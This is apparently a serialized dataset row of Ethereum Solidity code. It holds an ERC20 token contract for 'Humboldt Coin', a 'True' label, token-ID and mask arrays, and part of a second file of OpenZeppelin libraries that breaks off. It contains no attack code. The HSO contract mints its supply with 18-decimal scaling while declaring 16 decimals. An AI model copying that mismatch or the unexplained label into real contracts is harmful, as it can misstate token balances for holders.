1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-01-25
*/
/**
*Submitted for verification at Etherscan.io on 2020-01-25
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
contract Context {
constructor () public { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) internal _balances;
mapping (address => mapping (address => uint)) internal _allowances;
uint internal _totalSupply;
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is ERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract HSO is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public admin;
constructor () public ERC20Detailed("Humboldt Coin", "HSO", 16) {
admin = msg.sender;
_totalSupply = 420000000 *(10**uint256(18));
_balances[admin] = _totalSupply;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5890,
1011,
2423,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
5890,
1011,
2423,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
21318,
3372,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
24856,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
4487,
2615,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
2407,
2011,
5717,
1000,
1007,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
1013,
1013,
5024,
3012,
2069,
8073,
19514,
2043,
16023,
2011,
1014,
5478,
1006,
1038,
1028,
1014,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
1039,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-02-26
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
// -License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// -License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
// -License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/utils/ContractGuard.sol
pragma solidity ^0.6.12;
contract ContractGuard {
mapping(uint256 => mapping(address => bool)) private _status;
function checkSameOriginReentranted() internal view returns (bool) {
return _status[block.number][tx.origin];
}
function checkSameSenderReentranted() internal view returns (bool) {
return _status[block.number][msg.sender];
}
modifier onlyOneBlock() {
require(
!checkSameOriginReentranted(),
'ContractGuard: one block, one function'
);
require(
!checkSameSenderReentranted(),
'ContractGuard: one block, one function'
);
_;
_status[block.number][tx.origin] = true;
_status[block.number][msg.sender] = true;
}
}
// File: @openzeppelin/contracts/math/Math.sol
// -License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
// -License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// -License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
